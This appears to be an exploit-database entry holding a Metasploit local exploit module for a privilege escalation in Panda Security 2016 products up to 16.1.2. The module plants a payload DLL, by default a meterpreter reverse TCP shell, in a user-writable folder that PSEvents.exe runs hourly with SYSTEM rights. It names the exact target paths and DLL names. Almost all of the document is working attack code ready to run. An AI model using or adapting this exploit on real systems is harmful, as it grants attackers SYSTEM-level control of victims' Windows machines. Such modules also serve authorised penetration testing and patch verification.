PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges. When run, it checks a user writable folder for certain DLL files, and if any are found they are automatically run. Vulnerable products include Panda Global Protection 2016 versions 16.1.2 and below, Panda Antivirus Pro 2016 versions 16.1.2 and below, Panda Small Business Protection versions 16.1.2 and below, and Panda Internet Security 2016 versions 16.1.2 and below.
675a9794c4c179230ddd016c62462e8da69b4d5e807de5679903fd32ada74613
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
include Exploit::FileDropper
include Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Panda Security PSEvents Privilege Escalation',
'Description' => %q{
PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.
When run, it checks a user writable folder for certain DLL files, and if any are found
they are automatically run.
Vulnerable Products:
Panda Global Protection 2016 (<=16.1.2)
Panda Antivirus Pro 2016 (<=16.1.2)
Panda Small Busines Protetion (<=16.1.2)
Panda Internet Security 2016 (<=16.1.2)
},
'License' => MSF_LICENSE,
'Author' => [
"h00die <mike@shorebreaksecurity.com>", # Module,
'Security-Assessment.com' # discovery
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'payload' => 'windows/meterpreter/reverse_tcp',
'exitfunc' => 'seh'
},
'References' => [
[
'EDB', '40020',
'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',
'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'
]
],
'DisclosureDate'=> 'Jun 27 2016'
))
register_options(
[
OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll',
['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]),
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]),
], self.class)
end
def get_path()
case sysinfo['OS']
when /Windows (7|8|10|2012|2008)/
return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
when /Windows (NT|XP)/
return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
end
end
def check
if directory?(get_path())
print_good('Vuln path exists')
CheckCode::Appears
else
vprint_error("#{get_path()} doesn't exist on target")
CheckCode::Safe
end
end
def exploit
vprint_status("OS Detected as: #{sysinfo['OS']}")
payload_filepath = get_path()
payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}"
upload_payload_dll(payload_filepath)
# start the hour wait
stime = Time.now.to_f
print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...'
print_status "Start Time: #{Time.now.to_s}"
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
Rex.sleep(1)
end
end
def upload_payload_dll(payload_filepath)
payload = generate_payload_dll()
print_status('Uploading the Payload DLL to the filesystem...')
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
write_file(payload_filepath, payload)
register_file_for_cleanup(payload_filepath)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
end
end
end